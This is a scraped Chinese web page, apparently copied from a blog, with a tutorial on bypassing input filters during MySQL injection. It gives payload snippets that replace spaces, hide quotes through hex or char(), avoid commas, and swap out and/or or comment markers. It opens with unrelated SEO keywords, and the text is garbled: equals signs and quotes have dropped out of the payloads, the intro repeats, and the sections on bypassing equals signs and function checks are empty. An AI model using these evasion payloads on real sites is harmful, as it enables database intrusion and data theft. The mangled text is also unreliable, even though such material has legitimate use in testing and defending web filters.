vr技术在网站建设的应用,免费制作短视频的软件,孝义网站建设,3g免费网站制作MySQL注入秘籍【绕过篇】1.通用方法2.绕过空格3.绕过引号4.绕过逗号,5.绕过等号6.绕过and/or7.绕过注释符8.绕过函数检测1.通用方法
编码
编码无非就是hex、url等等编码#xff0c;让传到数据库的数据能够解析的即可#xff0c;比如URL编码一般在传给业务的时候就会自动解码…
MySQL注入秘籍【绕过篇】1.通用方法2.绕过空格3.绕过引号4.绕过逗号,5.绕过等号6.绕过and/or7.绕过注释符8.绕过函数检测1.通用方法
编码
编码无非就是hex、url等等编码让传到数据库的数据能够解析的即可比如URL编码一般在传给业务的时候就会自动解码
内联注释
可以插到括号中但是必须要保证单词的完整
select 1/*!union*/select 2;
select /*!user(*/);
/*!41320select/*!/*!10000user/*!(/*!/*!/*!*/);2.绕过空格
空格被过滤的情况可以用如下的一些手法
使用注释符
select/**/user();
select/*hahaha*/user();URL编码空格
使用URL编码 编码空格
其他URL编码换行、Tab等
%0d、%0a、%09、%0b、%a0使用括号
括号是用来包围子查询的因此任何可以计算出结果的语句都可以用括号包围起来。而括号的两端可以没有多余的空格
select(user())from(t_user);and/or后面的空格需要绕过
如果是and/or后面的空格需要绕过的话可以跟上奇或者偶数个!、~来替代空格也可以混合使用(规律有不同可以自己本地尝试)and/or前的空格可用省略
select * from user where usernametestand!!!11;
select * from user where usernametestand~~~~11;
select * from user where usernametestand~~!!!~~11;也可以用、-来替代空格and后有偶数个-即可的个数随意
select * from user where usernametestand------11;
select * from user where usernametestand------11;3.绕过引号
十六进制hex()
单/双引号被过滤一般采用16进制绕过
例如
-- 原语句
select table_name from information_schema.tables where table_schematest;
-- 16进制后
select table_name from information_schema.tables where table_schema0x74657374;char()
除了上面的十六进制外还可以用char函数连接起来
select table_name from information_schema.tables where table_schematest;
-- char后
select table_name from information_schema.tables where table_schemachar(116,101,115,116);4.绕过逗号,
针对普通情况使用join
-- 原语句
select user(),database();-- 绕过
select * from (select user())a join (select database())b;针对limit使用offset
-- 原语句
select * from t_user limit 1,1
-- 绕过
select * from t_user limit 1 offset 1;针对切割函数
-- 原语句
select substr(username,1,1) from t_user;
-- 绕过
select substr(username from 1 for 1) from t_user;5.绕过等号
过滤了等号或者相关的匹配符可以采用如下的一些手法来绕过 6.绕过and/or
因为and和or主要也是起到连接我们拼接语句的作用那我们找其他类似功能的算术符等即可
select 1 0;
select 1 || 0;7.绕过注释符
对注释符过滤的情况下对我们来说问题可能就是语句不能正常执行
解决办法也很简单用完整语句给他闭合就OK了其他语句类似
# 原始
?id1
# 完整闭合
?id1 and expr and 118.绕过函数检测
一些函数如ascii等被过滤可以使用等价的函数进行绕过如 版权声明本文教程基于d4m1ts博客